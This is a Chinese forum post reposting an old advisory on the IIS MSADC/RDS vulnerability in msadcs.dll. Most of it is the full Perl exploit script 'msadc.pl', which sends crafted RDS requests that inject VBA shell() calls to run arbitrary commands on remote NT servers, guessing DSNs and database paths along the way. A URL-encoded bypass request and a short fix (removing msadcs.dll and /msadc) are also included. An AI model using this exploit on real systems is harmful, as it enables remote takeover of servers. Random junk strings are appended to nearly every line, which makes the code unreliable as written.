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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) UeT"v?zP  
$y >J=  
涉及程序: 413r3/  
Microsoft NT server U07n7`2w  
d=wzN3 ;-  
描述: ^fb4g+Au  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 z{^XU"yB  
1}!f.cWV(  
详细: +B'9!t4 2  
如果你没有时间读详细内容的话,就删除: F:M3^I  
c:\Program Files\Common Files\System\Msadc\msadcs.dll gzHjD-g-<  
有关的安全问题就没有了。 s\Cl3  
Ph.$]yQCc]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 5kJ>pb$/  
Md[nlz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?(U> )SvF  
关于利用ODBC远程漏洞的描述,请参看: +Mv0X%(N  
`^afbW  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ybx4 Up@  
J(-#(kMyf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 $X-,6*  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Fu m1w  
q@u$I'`Bs  
这里不再论述。 h_d!G+-]  
qx53,^2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: fi#o>tVyJ  
4(YKwY2_L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DjL(-7'p  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #,  vN  
D9c8#k9Y.  
( {zp$P}  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  ;nv4lxm  
} ho8d+A  
#!perl z/rN+ ,  
# #!y|cP~;I  
# MSADC/RDS 'usage' (aka exploit) script K| Y r  
# m&|?mTo>m  
# by rain.forest.puppy E<&VK*{zcO  
# ZT_EpT=1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?^IM2}(p  
# beta test and find errors! x%x:gkq  
hlkf|H  
use Socket; use Getopt::Std; .f&,~$e4  
getopts("e:vd:h:XR", \%args); I[<C)IG  
35jP</  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; sOLo[5y'  
R`>E_SY  
if (!defined $args{h} && !defined $args{R}) { [N#2uo  
print qq~ kRE^G*?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } UXa3>q>  
-h <host> = host you want to scan (ip or domain) 94|BSxc  
-d <seconds> = delay between calls, default 1 second n&[U/`o  
-X = dump Index Server path table, if available -_pI:K[  
-v = verbose +5);"71  
-e = external dictionary file for step 5 ;Cyt2]F  
&g@?{5FP  
Or a -R will resume a command session UwdcU^xt9  
`t ZvIy*  
~; exit;} :fpYraBM  
bUz7!M$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |n~,$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} O2Rv^la  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} S <|e/![@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0-4WLMx  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]rHdG^0uss  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lgA9p 4-  
='OPU5(;O  
if (!defined $args{R}){ $ret = &has_msadc; a*S4rq@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} R[Kyq|UyVr  
aCFO ]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" cy/;qd+!M  
. "cmd /c "; ?exV:OKLb  
$in=<STDIN>; chomp $in; 1"~@UcJ  
$command="cmd /c " . $in ; r#3_F=xL5  
m]Z& .,bA  
if (defined $args{R}) {&load; exit;} LfrS:g  
A*~zdZ p  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &gcKv1a\  
&try_btcustmr; x8gUP  
zj`!ZY?fv  
print "\nStep 2: Trying to make our own DSN..."; ]X4A)%i  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; oe4Fy}Y_;  
t~ Q {\!  
print "\nStep 3: Trying known DSNs..."; ,p>=WX  
&known_dsn; 0rA&_K[#-<  
s'fHh G6  
print "\nStep 4: Trying known .mdbs..."; G4MNcy  
&known_mdb; ShHm7+fV  
n>Q/XQXB  
if (defined $args{e}){ eA#J7=eC  
print "\nStep 5: Trying dictionary of DSN names..."; AVi w}Y J  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [ZOo%"M_Y  
<q%buyQna  
print "Sorry Charley...maybe next time?\n"; d5+ (@HSR  
exit; .v0.wG  
RP z0WP  
############################################################################## SgFyv<6>:  
+@AN+!(  
sub sendraw { # ripped and modded from whisker Bk>Ch#`Bw  
sleep($delay); # it's a DoS on the server! At least on mine... ;VYL7Xu](  
my ($pstr)=@_; %nP13V]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || xAQ=oF +  
die("Socket problems\n"); LYkW2h`JQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ *w59BO&M4  
select(S); $|=1; z9YC9m)jK  
print $pstr; my @in=<S>; Y*B}^!k6  
select(STDOUT); close(S); L&Bc-kMH  
return @in; TpuN[Y  
} else { die("Can't connect...\n"); }} ?7/n s>}  
,H1j&]E!  
############################################################################## Zz,E4+'Rm  
$ ;~G  
sub make_header { # make the HTTP request X]tjT   
my $msadc=<<EOT _)zSjFX9  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \ d+&&ns  
User-Agent: ACTIVEDATA mn?< Zz  
Host: $ip j!qO[CJJ  
Content-Length: $clen ^'*9,.ltd  
Connection: Keep-Alive rM<c;iQ  
S;a{wYF6v  
ADCClientVersion:01.06 I(bH.{1n7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 I/_`/mQ  
rH$0h2  
--!ADM!ROX!YOUR!WORLD! e ,k,L  
Content-Type: application/x-varg }*hY#jo1  
Content-Length: $reqlen @T|mHfQ8  
{SbA(a?B  
EOT 'kL>F&|  
; $msadc=~s/\n/\r\n/g; {Z3B#,V(g  
return $msadc;} "<t/*$42  
yx4B!U  
############################################################################## $F`jM/B6  
j{0_K +B  
sub make_req { # make the RDS request 8 POrD8B  
my ($switch, $p1, $p2)=@_; \NDSpT<Z  
my $req=""; my $t1, $t2, $query, $dsn; k6QQoLb$V  
|\*7J!Liv  
if ($switch==1){ # this is the btcustmr.mdb query RN]4Is:  
$query="Select * from Customers where City=" . make_shell(); oXK`=.\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b`PAOQ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Gnr]qxL  
$A9!} `V  
elsif ($switch==2){ # this is general make table query q!$?G]-%  
$query="create table AZZ (B int, C varchar(10))"; lnEc5J@c>i  
$dsn="$p1";} c&e?_@} |  
M4XnuFGB[w  
elsif ($switch==3){ # this is general exploit table query ,Si\ky7L  
$query="select * from AZZ where C=" . make_shell(); N9r02c  
$dsn="$p1";} kZBIXW,G  
,i;kAy)  
elsif ($switch==4){ # attempt to hork file info from index server fF;Oz"I{\  
$query="select path from scope()"; c_)vWU  
$dsn="Provider=MSIDXS;";} "gfy6m  
j,8*Z~\5  
elsif ($switch==5){ # bad query WXp=>P[  
$query="select"; dMp7 ,{FhF  
$dsn="$p1";} g(7htWr4  
PnJr  
$t1= make_unicode($query); 5^t68 WOl  
$t2= make_unicode($dsn); |g}! F-  
$req = "\x02\x00\x03\x00"; zT6ng#  
$req.= "\x08\x00" . pack ("S1", length($t1)); tV9BVsN  
$req.= "\x00\x00" . $t1 ; $Ud-aRlD  
$req.= "\x08\x00" . pack ("S1", length($t2)); u 3wF)B{  
$req.= "\x00\x00" . $t2 ; E tWpBg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4^1{UlCop  
return $req;} xO`w| k  
gz;().{  
############################################################################## yYkk0 3  
OziG|o@I  
sub make_shell { # this makes the shell() statement K8$Hg:Ky-/  
return "'|shell(\"$command\")|'";} @sO*O4os>  
KwlN  
############################################################################## ]0GOSh  
6+_)(+ c  
sub make_unicode { # quick little function to convert to unicode U\&kT/6vh  
my ($in)=@_; my $out; pv~XZ(J.1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 43W>4fsc  
return $out;} R4"["T+L`  
 (d |  
############################################################################## $h0]  
{6!Mf+Xq  
sub rdo_success { # checks for RDO return success (this is kludge) yb2*K+Kv  
my (@in) = @_; my $base=content_start(@in); 9t(B{S  
if($in[$base]=~/multipart\/mixed/){ ]F r+cP  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |{k;p fPV  
return 0;} !u.{<51b  
zO<EbqNe!  
############################################################################## $NJ]2P9L  
UR ck#5  
sub make_dsn { # this makes a DSN for us ps[TiW{q;  
my @drives=("c","d","e","f"); g2l|NI#c^  
print "\nMaking DSN: "; c@1C|  
foreach $drive (@drives) { 8c\mm 0n  
print "$drive: "; L01R.3Z+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `<zaxO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #IDDKUE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .^N+'g  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; [-f0s;F1%  
return 0 if $2 eq "404"; # not found/doesn't exist MeW8aL r  
if($2 eq "200") { m=k(6  
foreach $line (@results) { !s/ij' T  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %@'9<i8o  
} return 0;} + V4BJ/H  
W78Z<Vm  
############################################################################## WZ&/l 65J  
|j&u2DM~#m  
sub verify_exists { (k"|k  
my ($page)=@_; vQ^a7  
my @results=sendraw("GET $page HTTP/1.0\n\n"); EB)j&y_  
return $results[0];} k2sb#]-/}  
WM}:%T-  
############################################################################## )zlksF  
`W e M  
sub try_btcustmr { 9Xmb_@7b}  
my @drives=("c","d","e","f"); j 9XY%4.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =<s+cM  
,miU'<8tQ|  
foreach $dir (@dirs) { KYD,eVQ  
print "$dir -> "; # fun status so you can see progress oOy@X =cw  
foreach $drive (@drives) { _j-k*:  
print "$drive: "; # ditto )fP ,F(  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >Y?B(I2e  
$reqlenlen=length( "$reqlen" ); R!lNm,i  
$clen= 206 + $reqlenlen + $reqlen; 7qt<C LJ  
3M8P%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8K*X]Z h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cRs Lt/Wr  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %gSqc }v*  
&NZN_%  
############################################################################## r+3V+:f  
 s$YKdtR  
sub odbc_error { 3}= .7qm  
my (@in)=@_; my $base; E&}r"rbI  
my $base = content_start(@in); ?/9]"HFHN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this fu}NH \{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @riCR<fF  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D Km`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9Gfm?.O5  
return $in[$base+4].$in[$base+5].$in[$base+6];} s@OCj0'l  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; X ~%I(?OX  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @y[Zr6\z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} aDb@u3X@  
-`n>q^A7e  
############################################################################## quN7'5ZC[  
E^zgYkZO  
sub verbose { E `Ualai  
my ($in)=@_; 6_=qpP-?  
return if !$verbose; YYr &Jc j  
print STDOUT "\n$in\n";} d*,% -Io  
n9]^v-]K  
############################################################################## .FK[Y?ci#  
J?)vsnD.H  
sub save { oD4NQR  
my ($p1, $p2, $p3, $p4)=@_; [@U8&W  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; F8Z<JcOI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; h#@l'Cye  
close OUT;} B~^MhX +j  
*#;8mM  
############################################################################## )|@b GEk  
A@bWlwfl  
sub load { x9xb4ZW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &{9'ylv-B)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Qh%/{6(u  
@p=<IN>; close(IN); U8]L3&~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); X5U_|XK6Y  
$target= inet_aton($ip) || die("inet_aton problems"); T#6']D  
print "Resuming to $ip ..."; QIQB  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }X$vriW  
if($p[1]==1) { *_`T*$  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; v:B_%-GfOA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; $SSE\+|3  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); pRx^O F(3  
if (rdo_success(@results)){print "Success!\n";} OOQf a#~k  
else { print "failed\n"; verbose(odbc_error(@results));}} au9r)]p-  
elsif ($p[1]==3){ >aW|W!.  
if(run_query("$p[3]")){ il<D e]G  
print "Success!\n";} else { print "failed\n"; }} \#1!qeF  
elsif ($p[1]==4){ Dx$74~2e  
if(run_query($drvst . "$p[3]")){ *=ftg&  
print "Success!\n"; } else { print "failed\n"; }} `)\_  
exit;} z@>z.d4  
#bUWF|zfT  
############################################################################## ZLyJ  
=rl/ l8|P  
sub create_table { Re5m  
my ($in)=@_; \3n{%\_  
$reqlen=length( make_req(2,$in,"") ) - 28; t;Jt+k~  
$reqlenlen=length( "$reqlen" ); IJ!]1fXy+  
$clen= 206 + $reqlenlen + $reqlen; |xZDc6HDW  
my @results=sendraw(make_header() . make_req(2,$in,"")); 33J}AK^FE  
return 1 if rdo_success(@results); 9-o{[  
my $temp= odbc_error(@results); verbose($temp); )b m|],'  
return 1 if $temp=~/Table 'AZZ' already exists/; uYIw ?fXy  
return 0;} 1)/B V{n  
kMKI=>s+  
############################################################################## GC66n1- X  
+cvz  
sub known_dsn { GsqR8n=  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go vVc:[i  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Z{+h~?63  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Y:&1;`FBZ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); K6KEdXM4  
cCFSPT2fq[  
foreach $dSn (@dsns) { k^Tu9}[W1  
print "."; <]/`#Xgh  
next if (!is_access("DSN=$dSn")); m}:";>?#  
if(create_table("DSN=$dSn")){ 2n?\tOm(V  
print "$dSn successful\n"; &~pj)\_  
if(run_query("DSN=$dSn")){ IE$x2==)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6T< ~mn  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @pQv}%  
HQ7-,!XO  
############################################################################## daWmF  
>4ebvM 0|  
sub is_access { 75K~ebRr  
my ($in)=@_; Vm'ReH  
$reqlen=length( make_req(5,$in,"") ) - 28; ~ i1w,;(  
$reqlenlen=length( "$reqlen" ); l"}W $3]u$  
$clen= 206 + $reqlenlen + $reqlen; z~4L=tA(  
my @results=sendraw(make_header() . make_req(5,$in,"")); vxUJ4|Qz  
my $temp= odbc_error(@results); {-^>) iJqt  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }E]`ly<Z  
return 0;} aBr%"&Z.MG  
,Ot3N\%yn  
############################################################################## o%h\55S  
4en&EWUr  
sub run_query { uQ&&? j  
my ($in)=@_; @_Aqk{3  
$reqlen=length( make_req(3,$in,"") ) - 28; ^4Tr @g#]"  
$reqlenlen=length( "$reqlen" ); }CsUZ&*&  
$clen= 206 + $reqlenlen + $reqlen; 5U|f"3&8  
my @results=sendraw(make_header() . make_req(3,$in,"")); ijr*_=  
return 1 if rdo_success(@results); [4kx59J3b  
my $temp= odbc_error(@results); verbose($temp); :|<D(YA  
return 0;} lcJ`OLG  
ll1?I8}5|  
############################################################################## ?8-e@/E#x  
[Qy]henK  
sub known_mdb { *Zt)J8C  
my @drives=("c","d","e","f","g"); ;PaB5TT(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TmKO/N@}  
my $dir, $drive, $mdb; BS*cG>T  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #Vv*2Mc  
o1MbHBb  
# this is sparse, because I don't know of many ?Y ) Qy,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 20^F -,z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -ud~'<k  
"\\system32\\certmdb.mdb", k :7UU4M 5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8Qu7x[tK?  
H4k`wWOk  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", PfnhE>[>cf  
"\\cfusion\\cfapps\\forums\\forums_.mdb", LN?T$H  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !aa^kcEjnL  
"\\cfusion\\cfapps\\security\\realm_.mdb", q*DR~Ov  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |1g2\5Re  
"\\cfusion\\database\\cfexamples.mdb", g.DgJX&i  
"\\cfusion\\database\\cfsnippets.mdb", Xe=@I*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8f,jC+(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", gD=s~DgN)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {aGQ[MH\9  
"\\cfusion\\database\\smpolicy.mdb", 1uB}Oe 2~  
"\\cfusion\\database\cypress.mdb", Zdh4CNEeFP  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", kC|tv{g#>  
"\\website\\cgi-win\\dbsample.mdb", xw%?R=&L  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", yu#Jw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" .Yha(5(  
); #these are just kt[#@M!}  
foreach $drive (@drives) { 6 Y&OG>_\  
foreach $dir (@dirs){ TQ=\l*R(A  
foreach $mdb (@sysmdbs) { lqX]'gu]\  
print "."; Rr%]/%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :U ?P~HI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; F`Q,pBl1p6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ b ";#qVv C  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8C,?Ai<ro  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "kP.Kx!  
=:~~RqHl  
foreach $drive (@drives) { @#VxjXW^  
foreach $mdb (@mdbs) { M*t@Q|$:  
print "."; E'XF n'  
if(create_table($drv . $drive . $dir . $mdb)){ e{=7,DRH<  
print "\n" . $drive . $dir . $mdb . " successful\n"; &JfyXM[]  
if(run_query($drv . $drive . $dir . $mdb)){ mWmDH74  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1)u= &t,  
} else { print "Something's borked. Use verbose next time\n"; }}}} r+m8#uR  
} q n=6>wP  
2Q9s?C   
############################################################################## bnD>/z]E  
bI]1!bi]i  
sub hork_idx { Q=e?G300#L  
print "\nAttempting to dump Index Server tables...\n"; 71K6] ~<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ucoBeNsHx  
$reqlen=length( make_req(4,"","") ) - 28; =b`>ggw#  
$reqlenlen=length( "$reqlen" ); 1O(fI|gcO  
$clen= 206 + $reqlenlen + $reqlen; Aba6/  
my @results=sendraw2(make_header() . make_req(4,"","")); YXV![gw0  
if (rdo_success(@results)){ K<|b>PI.s  
my $max=@results; my $c; my %d; kZz;l(?0  
for($c=19; $c<$max; $c++){ i"JF~6c<  
$results[$c]=~s/\x00//g; y;<jE.7>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]~ec] Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?)]sfJG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; guwnYS  
$d{"$1$2"}="";} }E?s*iP  
foreach $c (keys %d){ print "$c\n"; } %A82{  
} else {print "Index server doesn't seem to be installed.\n"; }} NKGo E/  
4`Fbl]Q   
############################################################################## %}j/G l5  
[c>X Q  
sub dsn_dict { Onot<}K  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *:YW@Gbm  
while(<IN>){ SvI  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /x$jd )C  
next if (!is_access("DSN=$dSn")); <6(u%t0k5  
if(create_table("DSN=$dSn")){ r\Man'h$  
print "$dSn successful\n"; WqYl=%x"{V  
if(run_query("DSN=$dSn")){ {_k 6t  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {tWfLfzU  
print "Something's borked. Use verbose next time\n";}}} /eIwv 31  
print "\n"; close(IN);} l l&iMj]  
>St  
############################################################################## h!d#=.R  
_ e`b^_  
sub sendraw2 { # ripped and modded from whisker bE0S) b)  
sleep($delay); # it's a DoS on the server! At least on mine... :$P < e~z'  
my ($pstr)=@_; g@nE7H1V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o &Nr5S  
die("Socket problems\n"); ty-4yK#  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4{fi=BA   
print "Connected. Getting data";  #lJF$  
open(OUT,">raw.out"); my @in; VLQfuh;  
select(S); $|=1; print $pstr; 'BUdySng  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^]aDLjD  
close(OUT); select(STDOUT); close(S); return @in; pdtK3Pf  
} else { die("Can't connect...\n"); }} !3HMGzt  
v t(kL(}v  
############################################################################## U6M4}q(N]  
Dhef|E<  
sub content_start { # this will take in the server headers #}k^g:l1  
my (@in)=@_; my $c; *RuUf  
for ($c=1;$c<500;$c++) { hTg%T#m  
if($in[$c] =~/^\x0d\x0a/){ Cs*u{O  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]^ j)4us  
else { return $c+1; }}} ->93.sge  
return -1;} # it should never get here actually g00XZ0@  
H 5sj% v  
############################################################################## @x{;a9y  
A>d*<#x  
sub funky { NINyg"g<  
my (@in)=@_; my $error=odbc_error(@in); I}?fy\1A&  
if($error=~/ADO could not find the specified provider/){ -Tz/ZOJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (U|W=@8`  
exit;} a<vCAFQ  
if($error=~/A Handler is required/){ -.z~u/uL  
print "\nServer has custom handler filters (they most likely are patched)\n"; V$:v~*Y9  
exit;} (a)d7y.oo  
if($error=~/specified Handler has denied Access/){ kyY tL_SD  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;PLby]=O  
exit;}} -ud!j  
x>Q#Bvy  
############################################################################## 2+ 9">a@  
>L=l{F6 p  
sub has_msadc { Y|1kE;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2abWIw4  
my $base=content_start(@results); d_]MqH>R\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); JsiJ=zo<  
return 0;} l&T;G 9z  
n{UB^-}5  
######################## %Xp}d5-  
F!SmCE(0x  
gy*N)iv%  
解决方案: (( t8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N^`F_R1Z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 w3yI;P  
1Rwk}wL  
拿出来充数 哈哈
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